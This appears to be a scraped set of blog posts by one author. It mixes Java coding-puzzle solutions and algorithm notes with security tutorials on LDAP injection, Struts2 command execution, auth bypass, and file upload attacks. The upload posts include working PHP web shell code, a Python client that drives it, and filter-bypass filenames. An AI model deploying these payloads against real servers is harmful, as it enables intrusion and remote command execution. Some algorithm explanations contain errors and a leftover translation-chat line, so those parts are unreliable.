LeetCode 2413. Smallest Even Multiple Java Solution

Problem

Smallest Even Multiple - LeetCode

Solution Approach

• The term "multiple of 2" indicates that the number must be even.
• The term "multiple of n" indicates that the number must be a multiple of n.
• This problem is about finding the smallest even multiple among the multiples of n.
• Initially, I attempted an algorithm where I iterated by incrementing n and returned it if it was even. However, I soon realized that the second multiple of n is always an even number.
• Therefore, the most efficient algorithm is as follows:
  • Check if n is even.
  • If n is even, return n.
  • If n is not even, then the next multiple will always be even.
  • Therefore, return n * 2.

Github Link

https://github.com/eunhanlee/LeetCode_2413_SmallestEvenMultiple_Solution.git

Time Complexity: O(1), Space Complexity: O(1)

public class Solution {
    /**
     * Finds the smallest even multiple of the given number.
     *
     * @param n The number for which the smallest even multiple needs to be found.
     * @return The smallest even multiple of the given number.
     */
    public int smallestEvenMultiple(int n) {
        if (n % 2 == 0) {
            return n;
        } else {
            return n * 2;
        }
    }
}

What is LDAP Injection

Definition

LDAP (Lightweight Directory Access Protocol) injection is a security vulnerability that occurs when user-input data is used in LDAP queries without proper validation or sanitization. This can lead to unauthorized access or manipulation of data within an LDAP directory.

List of Vulnerable Points

• Anywhere user input is used for authentication
• Login identifiers, passwords

Vulnerability Verification Method

• Verify if manipulated LDAP queries are inserted and executed in user input values.

USERNAME>(&)

LDAP Injection Cheatsheet

LDAP (Lightweight Directory Access Protocol)

LDAP is a protocol used to implement network directory services, used to store and retrieve directory information such as users, groups, and devices.

What is LDAP(Lightweight Directory Access Protocol)

Network Directory Services

Network directory services are systems designed to centrally manage information such as users, resources, and services in a computer network. The primary purpose is to efficiently perform user identification, authentication, authorization management, resource retrieval, and access.

LDAP, LDAP Server, WAS, DB Structure

Attack Method

Attack Scenario

1. The attacker manipulates malicious LDAP queries and passes them to a vulnerable application.
2. The application uses user input for LDAP queries without proper validation.
3. The manipulated LDAP query is executed, resulting in unauthorized access or data manipulation within the LDAP directory.

Attack Process

Detailed Process Explanation

1. The attacker provides malicious input, passing it to the application.
2. The application executes the vulnerable LDAP query without proper user input validation.
3. The vulnerable LDAP query is sent to and executed by the LDAP server.
4. The LDAP server processes the query and returns the result to the application.
5. The application displays the result to the user or utilizes it for other purposes.

Mitigation Strategies

• Use prepared statements.
• Implement whitelist-based filtering to allow only alphanumeric characters (a-z, A-Z, 0-9).
• Minimize access permissions to the LDAP server, restricting application accounts to the least necessary privileges.
• Apply rulesets to web firewalls to filter LDAP-related special characters.
• Target filtering:

LDAP Injection Cheatsheet

Basic LDAP Search Query

LDAP (Lightweight Directory Access Protocol) is commonly used to retrieve specific information from directory services (e.g., Active Directory). The following is an example of an LDAP query for basic searches:

(&(attribute1=value1)(attribute2=value2))

Let's break down the components of the query:

• The & symbol is the logical "AND" operator that combines multiple conditions.
• attribute1 and attribute2 are the names of the attributes you want to search within the directory (e.g., "cn" for common name, "mail" for email).
• value1 and value2 are the values you're looking for within those attributes.

You can customize attributes and values to match specific requirements. For example, to search for a user with the common name "John Doe" and the email address "john.doe@example.com," the query would be:

(&(cn=John Doe)(mail=john.doe@example.com))

Thus, for logging in, you can use the following query:

(&(cn=USERNAME)(userPassword=PASSWORD))

Basic LDAP Injection Query

(&) in an LDAP filter doesn't only mean the "AND" operator; it's also a syntactic element that represents an empty filter. You can use this to inject USERNAME>(&) into the identifier field. This will lead to the execution of the query as follows:

(&(cn=USERNAME>(&))(userPassword=PASSWORD))

Depending on the (&), the latter filter becomes unconstrained, and all entries are returned. This naturally results in a successful login.

What is LDAP(Lightweight Directory Access Protocol)

Definition

LDAP (Lightweight Directory Access Protocol) is a protocol that provides directory services as part of the internet protocol stack.

LDAP Structure

LDAP inherently follows a tree structure and stores data with specific conditions. Each node is referred to as an entry, and classified information is stored in each entry.

Entry Name Table

Web Application Structure Using LDAP

Purpose

LDAP provides a way to store and retrieve information about users, groups, devices, and more using a hierarchical data structure.

Advantages

• Efficient data retrieval is possible due to the hierarchical structure of directory services.
• Offers features for authentication and access control, enhancing security.
• Widely known standard protocol with support for various platforms and languages.

Disadvantages

• LDAP can require complex setup and management.
• It might not be suitable for handling large amounts of data.
• It's more specialized for retrieval and storage rather than insertion or modification.

Example

import ldap

# Connect to LDAP server
conn = ldap.initialize('ldap://ldap.example.com')

# Binding (Authentication)
conn.simple_bind_s('username', 'password')

# Search
base_dn = 'ou=users,dc=example,dc=com'
filter = '(& (cn=john))'
attributes = ['cn', 'email']
result = conn.search_s(base_dn, ldap.SCOPE_SUBTREE, filter, attributes)

# Print results
for dn, entry in result:
    cn = entry['cn'][0].decode('utf-8')
    email = entry['email'][0].decode('utf-8')
    print(f'CN: {cn}, Email: {email}')

# Unbind (Disconnect)
conn.unbind()

In the Python code, the ldap module is used to connect to the LDAP server, perform binding (authentication), search, handle results, and disconnect. The ldap.initialize function establishes a connection to the LDAP server, conn.simple_bind_s performs authentication, and conn.search_s is used for searching. The results are then processed and printed.

Operating System Commands by Http Request

Definition

Operating system command execution vulnerabilities are weaknesses that allow malicious users to execute malicious code or induce abnormal behavior within a system using the commands of the operating system.

List of Vulnerability Trigger Points

• All pages
• When receiving an HTTP request and the operating system executes a command based on the parameter value

Vulnerability Verification Methods

• Insert publicly known operating system command execution code into parameter values passed to the web application and verify if the command is executed.

• Apache Struts 2 RCE (Remote Code Execution) vulnerability (publicly known operating system command execution code) reference site: https://cwiki.apache.org/confluence/display/WW/Security+Bulletins

• The code below utilizes a vulnerability in the Struts 2 framework. If the web page is vulnerable, the result of 3*4, which is 12, will be displayed on the page.

  <http://host/struts2-blank/example/X.action?action:%25{3\\\\*4}>
  

Attack Methods

Attack Scenario

1. The attacker generates malicious input to be sent to the system.
2. In vulnerable sections, the input is interpreted as an operating system command or directly passed to a command execution function.
3. This results in the execution of malicious code or abnormal system behavior.

Process of Occurrence

Detailed Process Explanation

1. The attacker generates malicious input.
2. In vulnerable sections, insufficient input validation or incorrect interpretation of external input occurs as an operating system command.
3. This leads to the execution of malicious code within the system or abnormal system behavior.

Mitigation Measures

• Header information restriction: Configure HTTP responses to avoid revealing version information in a few response pages.
• HTTP entity: Safely handle command execution by passing user input as arguments to operating system commands.
• Input validation and filtering: Transform or restrict user input into a trusted format to prevent malicious code injection.
• Permission restriction: Minimize the impact of attacks by limiting the scope of executable commands or restricting the permissions required for command execution.
• Use of appropriate command execution functions: Utilize secure operating system command execution functions or libraries that perform security checks.

What are Authentication and Authorization

Definitions

Authentication

The process of verifying a user's identity, confirming that the person is who they claim to be.

Authentication is the process of confirming the identity of a user or system. This involves the user providing evidence of their claimed identity or the system verifying the identity of the entity attempting to access a resource. Authentication is achieved when a user provides valid credentials (such as a username and password) to confirm their identity, often used during the login process. It is the first step required for a user to gain access to a system.

Authorization

The act of granting permissions to authorized individuals.

Authorization is the process of verifying whether an authenticated entity has the necessary permissions to access specific resources or perform certain actions. It occurs after authentication and involves determining what actions an authenticated entity is allowed to perform. For instance, in a web application, authorization might involve checking a user's permissions before allowing access to a specific page.

Vulnerable Points List

• All pages requiring authentication or authorization

Vulnerability Testing Methods

• Checking if access is possible to posts that are not accessible by simply changing page numbers (changing the HTTP address)
• Verifying if client-side redirection occurs (this might allow response manipulation)
• Reviewing comment sections for potential vulnerabilities
• Checking if JavaScript files (.js) are used to implement redirection
• Testing parameter manipulation

Attack Methods

Authentication Bypass Process

Details of Authentication Bypass Process

1. Page 1 is accessible to anyone.
2. Page 2 requires login. An unsuccessful login attempt is made by the attacker.
3. If the login is successful on Page 2, the user is redirected to Page 3, granting access to the forum.
4. However, Page 3 does not check for successful authentication.
5. The attacker accesses Page 3 without going through Page 2.
6. The server provides Page 3 content to the attacker.

Authorization Bypass Process

Details of Authorization Bypass Process

1. The attacker requests "user profile" from the web server.
2. The web server provides the "user profile" to the attacker.
3. The attacker then requests "admin profile" from the web server.
4. The web server denies the request, indicating incorrect cookie parameters.
5. The attacker speculates that the server checks the cookie parameters.
6. The attacker sends a tampered request for "user profile" to the web server.
7. The web server provides the "admin profile" to the attacker.

Mitigation Strategies

• Ultimate defense: Server-side verification through sessions
  • Server-side verification through sessions is essential
  • Client-side code should focus on user convenience features only
• Additional measures:
  • Implement strong password policies: Enforce length, complexity, and change intervals
  • Introduce Two-Factor Authentication (2FA): Add additional authentication factors beyond passwords
• Apply the principle of least privilege: Grant users only the minimum permissions required

Feel free to use this translated content for your blog! If you have any further questions or need additional assistance, feel free to ask.

What are Dynamic Analysis and Static Analysis

Definition

Methods of Analyzing Programs

Dynamic Analysis

Verifying through multiple executions

Dynamic analysis is a method of analyzing the behavior of software during its execution.

When software is running, dynamic analysis tools are used to monitor and analyze the program's behavior, state, data flow, and more.

Pros

By analyzing the actual behavior of running software, it's possible to identify issues that occur in real environments.

Cons

Analyzing the behavior of running software can impact performance.

It's limited to the execution environment.

It can require more time and resources compared to static analysis.

Static Analysis

Continuously reading the code visually

Static analysis is a method of analyzing source code in a state where the software isn't being executed.

Using static analysis tools, the structure of the code, compliance with rules, potential bugs, security vulnerabilities, and more are identified and analyzed.

Pros

Since it analyzes the source code, it's not limited to the execution environment. It can identify code defects and security vulnerabilities beforehand.

Cons

It's heavily influenced by the skills of the analyzer.

LeetCode 75. Sort Colors Java Solution

Problem

Sort Colors - LeetCode

Solution Approach

• This problem asks whether you can implement a sorting algorithm without using built-in sorting functions or methods.
• Since the input consists of only 0, 1, and 2, it is possible to solve it using a logic-based algorithm.
• Algorithm:
  • Iterate through all elements and count the occurrences of 0s, 1s, and 2s.
  • Fill the array with 0s, then 1s, and finally 2s based on their counts.
• The "Follow up" asks about the one-pass algorithm known as the Dutch National Flag algorithm, which specializes in sorting 0s and 1s.
• Alternatively, you can implement the Quick Sort algorithm.

References

What is Dutch National Flag algorithm

What is Quick Sort

Github Link

https://github.com/eunhanlee/LeetCode_75_SortColors_Solution.git

Logic Algorithm Time Complexity: O(n), Space Complexity: O(1)

/**
 * The Solution class provides a method to sort an array containing only 0, 1, and 2.
 */
public class Solution {

    /**
     * Sorts the given array using the counting technique. The array should contain only 0, 1, and 2.
     *
     * @param nums The array to be sorted.
     */
    public void sortColors(int[] nums) {
        int Zero = 0, One = 0, Two = 0; // Variables to count the occurrences of 0s, 1s, and 2s
        int idx = 0; // Index to track the position in the array

        // Count occurrences of 0s, 1s, and 2s
        for (int num : nums) {
            if (num == 0) Zero++;
            if (num == 1) One++;
            if (num == 2) Two++;
        }

        // Fill the array with 0s, then 1s, and finally 2s based on their counts
        for (int i = 0; i < Zero; i++) {
            nums[idx] = 0;
            idx++;
        }
        for (int i = 0; i < One; i++) {
            nums[idx] = 1;
            idx++;
        }
        for (int i = 0; i < Two; i++) {
            nums[idx] = 2;
            idx++;
        }
    }
}

Dutch National Flag Algorithm Time Complexity: O(n), Space Complexity: O(1)

public class Solution {
    /**
     * Sorts the given array containing only 0, 1, and 2 using the Dutch National Flag algorithm.
     *
     * @param nums The array to be sorted.
     */
    public void sortColors(int[] nums) {
        int low = 0;  // Pointer to 0
        int mid = 0;  // Pointer to 1
        int high = nums.length - 1;  // Pointer to 2

        while (mid <= high) {
            if (nums[mid] == 0) {
                // If the current element is 0, swap it with the element at the low pointer.
                swap(nums, low, mid);
                low++;  // Increment low pointer
                mid++;  // Increment mid pointer (since the swapped element is 1)
            } else if (nums[mid] == 1) {
                // If the current element is 1, move the mid pointer forward.
                mid++;
            } else if (nums[mid] == 2) {
                // If the current element is 2, swap it with the element at the high pointer.
                swap(nums, mid, high);
                high--;  // Decrement high pointer
                // Note: Here, the mid pointer is not incremented yet as the swapped element's value is uncertain.
            }
        }
    }

    /**
     * Swaps two elements in the array.
     *
     * @param nums The array containing the elements.
     * @param i    Index of the first element to be swapped.
     * @param j    Index of the second element to be swapped.
     */
    private void swap(int[] nums, int i, int j) {
        int temp = nums[i];
        nums[i] = nums[j];
        nums[j] = temp;
    }
}

Quick Sort Time Complexity: O(n log n), Space Complexity: O()

public class Solution3 {
    /**
     * Sorts the given array using the Quick Sort algorithm.
     *
     * @param nums The array to be sorted.
     */
    public void sortColors(int[] nums) {
        quickSort(nums);
    }

    private static void quickSort(int[] input) {
        quickSortRecur(input, 0, input.length - 1);
    }

    /**
     * Recursively implements Quick Sort using the Lomuto partition scheme.
     * pivot: Rightmost element
     * Starting point for selected value (left): 0
     * Starting point for comparison value (right): 0
     *
     * @param input The array to be sorted.
     * @param left  Starting index of the array to be partitioned.
     * @param right Ending index of the array to be partitioned.
     */
    private static void quickSortRecur(int[] input, int left, int right) {
        // Quick Sort termination condition: array length is 1 or less
        if (left >= right) {
            return;
        }

        // Find the partition point using the Lomuto partition scheme
        int pivotPos = partition(input, left, right);

        // Recursively sort the left partition
        quickSortRecur(input, left, pivotPos - 1);
        // Recursively sort the right partition
        quickSortRecur(input, pivotPos + 1, right);
    }

    /**
     * Swaps the positions of two elements in an array.
     *
     * @param input The array containing the elements.
     * @param a     Index of the first element.
     * @param b     Index of the second element.
     */
    private static void swap(int[] input, int a, int b) {
        int temp = input[a];
        input[a] = input[b];
        input[b] = temp;
    }

    /**
     * Uses the Lomuto partition scheme to partition an array and returns the position of the pivot.
     *
     * @param input The array to be partitioned.
     * @param left  Starting index of the array to be partitioned.
     * @param right Ending index of the array to be partitioned.
     * @return The position of the pivot.

What is Quick Sort

Definition

One of the fundamental algorithms for sorting in ascending order.

• Most important and widely used in any programming language.
• O(n log n) complexity, but worst-case scenario can be O(n^2).
• To minimize the worst-case scenario, choosing pivot positions randomly can help.
• However, if O(n^2) is absolutely not acceptable, another sorting algorithm should be used.
• Unstable sort.
• Divide and Conquer algorithm.
• Easier to implement using recursion.

Structure

Algorithm

Recursively traverses by dividing into two parts based on the pivot.

1. Values smaller than the pivot are classified on the left, and larger values on the right. However, this process is carried out without changing the length.
2. Choose the pivot point. Typically, the rightmost value or the leftmost value is chosen (depends on Lomuto or Hoare partition scheme).
3. The first value is considered the "selected value."
4. If the checking value is smaller than the pivot, swap the selected value and the checking value, and move the selected value to the right.
5. If the checking value is greater than the pivot, move the checking value to the right.
6. Once the checking value reaches the pivot, swap the selected value and the pivot.
7. Repeat steps 2 to 6 recursively.

Choosing the pivot value

1. Lomuto Partition Scheme
   • Pivot: Rightmost value
   • Selected value (i) starting point: 0
   • Checking value (j) starting point: 0
2. Hoare Partition Scheme
   • Pivot: Leftmost value
   • Selected value (i) starting point: 1
   • Checking value (j) starting point: Rightmost value
3. Randomly selecting

Java Code - Lomuto Partition Scheme

   public static void quickSort(int[] input) {
        quickSortRecur(input, 0, input.length - 1);
    }

    // Quick sort implementation using the Lomuto partition scheme
    public static void quickSortRecur(int[] input, int left, int right) {

        // Exit condition for quick sort
        // Using right >= left would sort in descending order (9,8,7)
        // Currently sorted in ascending order (7,8,9)
        if (left >= right) {
            return;
        }

        // Partition around the pivot and return its position
        int pivotPos = partition(input, left, right);

        // Recursively sort the left part
        quickSortRecur(input, left, pivotPos - 1);
        // Recursively sort the right part
        quickSortRecur(input, pivotPos + 1, right);

    }

    public static void swap(int[] input, int a, int b) {
        int temp = input[a];
        input[a] = input[b];
        input[b] = temp;
    }

    public static int partition(int[] input, int left, int right) {
        int pivot = input[right];

        int i = (left - 1);
        for (int j = left; j < right; ++j) {
            if (input[j] < pivot) {
                ++i;
                swap(input, i, j);
            }
        }
        swap(input, (i + 1), right);
        return i + 1;
    }

Java Code - Hoare Partition Scheme

 public static void quickSort(int[] input) {
        quickSortRecur(input, 0, input.length - 1);
    }

    // Quick sort implementation using the Hoare partition scheme
    public static void quickSortRecur(int[] input, int left, int right) {

        // Exit condition for quick sort
        if (left >= right) {
            return;
        }

        // Partition around the pivot and return its position
        int pivotPos = partition(input, left, right);

        // Recursively sort the left part
        quickSortRecur(input, left, pivotPos);
        // Recursively sort the right part
        quickSortRecur(input, pivotPos + 1, right);
    }

    public static void swap(int[] input, int a, int b) {
        if (a != b) {
            int temp = input[a];
            input[a] = input[b];
            input[b] = temp;
        }
    }

    public static int partition(int[] input, int left, int right) {
        int pivot = input[left];
        int i = left - 1;
        int j = right + 1;

        while (true) {
            do {
                ++i;
            } while (input[i] < pivot);

            do {
                --j;
            } while (input[j] > pivot);

            if (i >= j) {
                return j;
            }

            swap(input, i, j);
        }
    }

Cyber Security: File Upload Cheet Sheet

File Upload Bypass Methods

NULL Byte Bypass

webshell.php%00.jpg

By inserting a NULL Byte in the middle, as in webshell.php%00.jpg, the processed filename becomes "webshell.php." The NULL Byte signifies the end of a string.

HTML Encoding

In cases where other methods don't work well, you can use HTML Encoding, such as webshell.ph%70, as a simple solution.

Hidden Extensions in PHP

This content is specific to PHP7 and does not apply to PHP5.

In PHP7, there are several additional extensions recognized besides ".php":

.php  .php3  .php4  .php5  .php7  .pht  .phtml  .htm  .html

Hidden Extensions in JSP

.war

Adding a Dot After the Extension

Uploaded files typically ignore symbols like "." after the extension. However, the code that checks during upload can recognize extensions only when this symbol is used.

.php.. .php...

Bypass by Modifying Content-type

When processing files, HTTP uses different Content-types based on the file type. For example:

• jpg uses image/jpg
• png uses image/png
• txt uses text/plain
• php uses text/html

If the server filters using Content-type (blocking text/html), it's possible to bypass by using a proxy tool to modify the Content-type.

Content-Disposition: form-data; name="file"; filename="webshell.php"
Content-Type: image/jpeg

Cyber Security: What is File Upload

Definition

File upload attacks involve malicious users uploading files to web applications or websites to exploit security vulnerabilities. Typically, web shell files are uploaded.

Cyber Security: What is Web Shell

List of Vulnerable Points

• Types of uploadable files
• Cases where the uploaded file path is visible and executable

Vulnerability Verification Methods

• Boards with file upload functionality
• Accessing the user's profile page while logged out

Cyber Security: File Upload Cheet Sheet

Attack Methods

Attack Sequence

1. The attacker utilizes the web application's file upload functionality to upload a file.
2. Determine what types of files are allowed (php, png, jpg, etc.).
3. Verify where the uploaded file is stored on the server and if the file path is exposed.
4. Check if the exposed path allows access to the file via the GET method.
5. Use the upload attack to extract desired information.

File Upload Structure

File Upload Attack Process

Web Shell File Upload Process

1. File Selection: Choose a web shell file.
2. File Upload Request: Server allows php files as web shell files.
3. File Validation: Passes validation checks.
4. File Information Storage: Web shell file is stored.
5. Convey Storage Result: Attacker receives desired information through the web shell.

Countermeasures

• Strengthen File Format Validation: Validate the uploaded file's format to only allow approved file types.
• File Name Verification: Check file names for validity to block malicious file names.
• File Size Limitation: Set file size limits to prevent attackers from uploading large files that could deplete server resources.
• Tighten Security Policies: Restrict the storage location and permissions of uploaded files on the server, and strictly apply security policies to disallow uploading executable files.
• Post-Upload Event Verification: Validate post-upload events on the server to detect malicious actions and prevent unauthorized access.

Cyber Security: What is Web Shell

Definition

A Web Shell is an application or script used to remotely control web servers through a web-based interface. Web shells come in various forms and versions with different functionalities. They are typically written in various web languages such as PHP, ASP, JSP, and more. By using a web shell, users can perform various system tasks, including exploring the web server's file system, executing commands, and accessing databases.

Web Shells in Hacking

Web shells can be utilized by attackers as tools to gain access to web servers for malicious purposes. Malicious scripts can be uploaded and executed on the web server, enabling attackers to execute system commands and take control remotely. In essence, a web shell opens a shell on a website, allowing requests received through the web to be directed towards the operating system.

While legitimate use cases for web shells do exist, due to their potential for misuse, web application developers and administrators need to implement security measures and vulnerability analysis to prevent their misuse.

Web shell attacks are often referred to as file upload attacks.

Cyber Security: What is File Upload

What is a Shell?

A shell is an interface used for interaction between a computer user and an operating system (OS).

Shells provide a text-based environment where users can input and execute commands.

Commonly used shells include Bash (Bourne Again SHell) on Unix and Linux systems, and Command Prompt or PowerShell on Windows systems.

Examples

PHP Web Shell Code

After uploading a PHP file containing the following code and identifying the uploaded file's path, you can insert the parameter "cmd":

<?php echo system($_GET['cmd']);?>

<?php
  if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
  }
?>

example.com/files/webshell.php?cmd=find+../../../../+-name+"flag.txt"

import requests
payload = {
    'cmd': 'whoami'
}
response = requests.get('example.com/files/webshell.php', params=payload)

print(response.text)

What is Dutch National Flag algorithm

Definition

The Dutch National Flag algorithm is an algorithm used to sort an array consisting of 0s and 1s.

Scenarios to Consider

• When an array contains 0s and 1s and you want to sort them to distinguish between the two.
• When you want to sort the elements of an array in-place without using additional memory.

Cases where it should not be used

The Dutch National Flag algorithm can only be used to sort arrays consisting of 0s and 1s. For sorting other types of elements, a different algorithm should be used.

Advantages

• It can sort an array in-place without using additional memory.
• Time complexity: O(n)
• Space complexity: O(1)

Disadvantages

• It can only be applied to arrays consisting of 0s and 1s, making it unsuitable for sorting other types of elements.
• It can only sort two types of elements (0s and 1s), so modifications are needed if other types of elements are introduced.

Implementation Steps

1. Initialize the first pointer (low) at the beginning of the array, and the second (mid) and third (high) pointers at the end of the array.
2. Repeat the following steps while the mid pointer is less than or equal to the high pointer:
   • Based on the value of arr[mid], perform the following actions:
     • If it's 0: Swap the values of arr[low] and arr[mid], and increment low and mid by 1.
     • If it's 1: Increment the mid pointer by 1.
     • If it's 2: Swap the values of arr[mid] and arr[high], and decrement high by 1.
3. Return the sorted array.

Example

The following is an example Java implementation of the Dutch National Flag algorithm:

public class DutchNationalFlagAlgorithm {
    public static void dutchNationalFlagSort(int[] nums) {
        int low = 0;  // Pointer for 0
        int mid = 0;  // Pointer for 1
        int high = nums.length - 1;  // Pointer for 2

        while (mid <= high) {
            if (nums[mid] == 0) {
                // Swap the current element with the low pointer element
                swap(nums, low, mid);
                low++;
                mid++;
            } else if (nums[mid] == 1) {
                // Move the mid pointer
                mid++;
            } else if (nums[mid] == 2) {
                // Swap the current element with the high pointer element
                swap(nums, mid, high);
                high--;
            }
        }
    }

    private static void swap(int[] nums, int i, int j) {
        int temp = nums[i];
        nums[i] = nums[j];
        nums[j] = temp;
    }
}

How to Implement Recursive Functions

How to Implement Recursive Functions

Converting all loops into recursive functions is possible, but it's generally a challenging task. The reason behind this is that the mindset required for recursive functions can differ somewhat from the usual human thinking process. Therefore, acquiring this skill requires sufficient practice and familiarity.

To overcome this, I believe that organizing loops effectively is key. I've created the following table as a tool to help with this. Based on this table, I aim to gradually implement more complex loops as recursive functions, with the eventual goal of being able to implement them without relying on the table.

Recursive Function Implementation Table

• Objective:
• Termination Condition (Base Case):
• Do Previous Results Matter?:
• Problem Division (Divide the Problem):
• Combining Results:
• Recursive Call, Modifications Before Moving to the Next Step:

Practice Examples

Reverse a String Recursive Function Implementation Table

• Objective: Reverse a string

• Termination Condition (Base Case): When there are no more characters to reverse (i.e., when the length of the string becomes 0)

  if len(s) == 0: return s
  

• Do Previous Results Matter?: Yes, each recursive call reverses the remaining part of the string

• Problem Division (Divide the Problem): Reversing the rest of the string, excluding the first character

  string - s[-1]
  

• Combining Results:

  stringbuilder sb.append s[-1]
  

• Recursive Call, Modifications Before Moving to the Next Step: Concatenate the current character to the end of the reversed remaining string from the recursive call

  return reverse_string(s[1:], sb)
  

Completed Code

public static String reverseString(String input, StringBuilder sb){

        if(input.length()==0) return sb.toString();

        sb.append(input.charAt(input.length()-1));
        return reverseString(input.substring(0, input.length()-1),sb);
}

Factorial Recursive Function Implementation Table

• Objective: Calculate factorial

• Termination Condition (Base Case):

  if n == 0 or n == 1:
          return 1
  

• Do Previous Results Matter?: Yes

• Problem Division (Divide the Problem):

  factorial(input-1) * input
  

• Combining Results:

  factorial(input-1) * input
  

• Recursive Call, Modifications Before Moving to the Next Step:

  input-1
  

Completed Code

public static int factorial(int n) {
        if (n <= 1) {
            return 1;
        }
        return n * factorial(n - 1);
}

improve

public static int factorial(int n) {
        return factorialRecur(n, 1);
}

private static int factorialRecur(int n, int result) {
        if (n <= 1) {
            return result;
        }
        return factorialRecur(n - 1, n * result);
}

Web Hacking Practice: Session Fixation Attack

Login Screen

Login Attempt Request

Login Complete

The above website issues a session before login and verifies the ID and password received during the login attempt request.

In other words, the website follows this flow: Issuing a session ID (unauthenticated) → Login authentication → Using the authenticated session ID. Therefore, it is possible to bypass the login process.

Fake Login Attempt

By using Burp Suite's Repeater, the ID is changed to "admin" in the request and sent. Naturally, the response will be "fail," but since the user ID on the server-side has already been changed during the authentication process, and the session ID is already authenticated, resending the request from the "Login Complete" state will result in being logged in and the ID will be changed.

GFG Count the Substrings Java Solution

Problem

Problem_Link

Solution Approach

• Condition: Substrings with an equal number of uppercase and lowercase letters
• If the difference between the uppercase and lowercase letters at the starting and ending positions of a specific substring is the same, then that substring satisfies the condition.

Example: “AbaBBa”

• The total number of substrings for the given example is 21, and the number of substrings that meet the condition is 7.
• To calculate the uppercase-lowercase difference, we use +1 for uppercase and -1 for lowercase letters.
• The starting point has no uppercase-lowercase difference, so it is 0.

Index	None	0	1	2	3	4	5
Element	Start	A	b	a	B	B	a
Uppercase-Lowercase Difference	0	1	0	-1	0	1	0

Substrings with the same uppercase-lowercase difference are considered satisfying the condition.

Substring	Index	Uppercase-Lowercase Difference
Ab	None~2	0
aB	2~4	0
Ba	4~6	0
AbaB	None~4	0
baBB	1~5	0
aBBa	2~6	0
AbaBBa	1~5	1

• The first index is not included, and the last index is included. This is because the starting point is 0, and there is no index for it.

Time Complexity: O(n), Space Complexity: O(n)

import java.util.HashMap;
import java.util.Map;

public class BalancedSubstring {
    public static void main(String[] args) {
        String S = "AbaBBa";
        System.out.println(countSubstring(S));
    }

    public static int countSubstring(String S) {
        int n = S.length();
        int count = 0;
        int diff = 0;
        Map<Integer, Integer> diffMap = new HashMap<>();

        // Initialize diffMap with difference 0
        diffMap.put(0, 1);

        for (int i = 0; i < n; i++) {
            char c = S.charAt(i);

            // Update the uppercase-lowercase difference
            if (Character.isUpperCase(c)) {
                diff++;
            } else if (Character.isLowerCase(c)) {
                diff--;
            }

            // Increase count based on previously encountered difference
            // If the current difference was encountered before, it means there exists a substring with equal counts of uppercase and lowercase letters
            count += diffMap.getOrDefault(diff, 0);

            // Update the current difference and its count in the diffMap
            diffMap.put(diff, diffMap.getOrDefault(diff, 0) + 1);
        }

        return count;
    }
}

Explanation

1. First, initialize a diffMap HashMap. This map is used to store the difference between the counts of uppercase and lowercase letters. Since the initial difference is 0, we add (0, 1) to the map.
2. Use a for loop to iterate through the input string S. The loop runs from index 0 to one less than the length of the string.
3. Retrieve the character c at the current index and determine if it is uppercase or lowercase. If it's uppercase, increment the diff variable by 1; if it's lowercase, decrement diff by 1.
4. If the current difference diff has been encountered before, it means there exists a substring with an equal number of uppercase and lowercase letters. Therefore, add the count of such substrings to the count variable. If the difference hasn't been encountered before, use the getOrDefault method to retrieve 0.
5. Update the diffMap using the current difference diff. If diff already exists in the map, increment its count by 1; if not, add the new difference to the map with a count of 1.
6. After the for loop finishes, return the value stored in count. This value represents the number of substrings that meet the condition of having an equal number of uppercase and lowercase letters.

LeetCode 1672. Richest Customer Wealth Java Solution

Problem

Richest Customer Wealth - LeetCode

Approach

• This problem involves working with a 2D array to calculate the sum of values and optimize based on it.
• Initially, I straightforwardly stored the sum of all values in an array and then found the maximum value by iterating through that array. However, with better optimization, it's possible to directly find the maximum value without needing to store values in an array.
• Algorithm:
  • In the first loop, iterate through each array.
  • In the second loop, calculate the sum of values in each array.
  • After the second loop, compare the sum of values with the current maximum and update it if the sum is higher.
  • Return the stored maximum value.

Github Link

https://github.com/eunhanlee/LeetCode_1672_RichestCustomerWealth_Solution.git

Time Complexity: O(n), Space Complexity: O(1)

public class Solution {
    /**
     * Calculates the maximum wealth among customers.
     *
     * @param accounts 2D array representing customers and their account wealth
     * @return Maximum wealth among customers
     */
    public int maximumWealth(int[][] accounts) {
        int max = 0; // Initialize the maximum wealth as 0.

        for (int[] listOfWealth : accounts) {
            int tempSum = 0; // Initialize temporary sum for each customer.

            for (int wealth : listOfWealth) {
                tempSum += wealth; // Add each account's wealth to the temporary sum.
            }

            max = Math.max(max, tempSum); // Update the maximum wealth if the temporary sum is greater.
        }

        return max;
    }
}

Summary of Operators in Python

Types of Arithmetic Operators in Python

Symbol	Description	Return Value
+	Addition	Varies depending on the data types
-	Subtraction	Varies depending on the data types
*	Multiplication	Varies depending on the data types
/	Division	Returns a floating-point value
//	Floor Division	Returns an integer value
%	Modulus	Returns a floating-point value
**	Exponentiation	Varies depending on the data types
and	Logical AND	Returns True or False
or	Logical OR	Returns True or False
<	Less than	Returns True or False
>	Greater than	Returns True or False
<=	Less than or equal to	Returns True or False
>=	Greater than or equal to	Returns True or False
==	Equal to	Returns True or False

+, -, *, /, //, %, **, <, >, <=, >= Table

A	B	Result
int	int	int A + B result
int	float	float A + B result
int	bool-True	int A + 1 result
int	bool-False	int A + 0 result
int	None	TypeError
int	string	TypeError
float	bool-True	float A + 1 result
float	bool-False	float A + 0 result
float	None	TypeError
float	string	TypeError
bool	None	TypeError
bool	string	TypeError
None	string	TypeError

In the early days of computer generation and the inception of programming languages, 1 represented True, and 0 represented False.

== Table

A	B	Result
int	int	Boolean result
int	float	Boolean result
int	bool	Boolean result
int	None	Boolean result
int	string	Boolean result
float	bool	Boolean result
float	None	Boolean result
float	string	Boolean result
bool	None	Boolean result
bool	string	Boolean result
None	string	Boolean result

Unlike Java, this doesn't compare classes. It compares values. Since all are objects, these comparisons are possible.

and, or Truth Tables

A	B	and	or
False	False	False	False
False	True	False	True
True	False	False	True
True	True	True	True

As shown in the table above, "and" and "or" are operations on True and False.

When different data types are used, the "or" operation returns the value of B, while the "and" operation returns the value of A.

Sum of Numbers (Arithmetic Series)

Definition

The sum of an arithmetic sequence refers to the sum of consecutive terms in a sequence where the difference between consecutive terms is constant. You can calculate the sum of an arithmetic sequence using a specific formula.

To find the sum of the sequence from 1 to n, you can use the following formula:

(First term + Last term) × Number of terms / 2

a: Starting value

b: Ending value

c: Common difference

Common difference: The constant difference between consecutive terms in an arithmetic sequence.

Mathematical Example

Let's find the sum of the sequence from 1 to 10:

a: Starting value = 1

b: Ending value = 10

c: Common difference = +1

Now, substituting these values into the formula:

Advantages

• The formula for the sum of an arithmetic sequence is simple and intuitive.
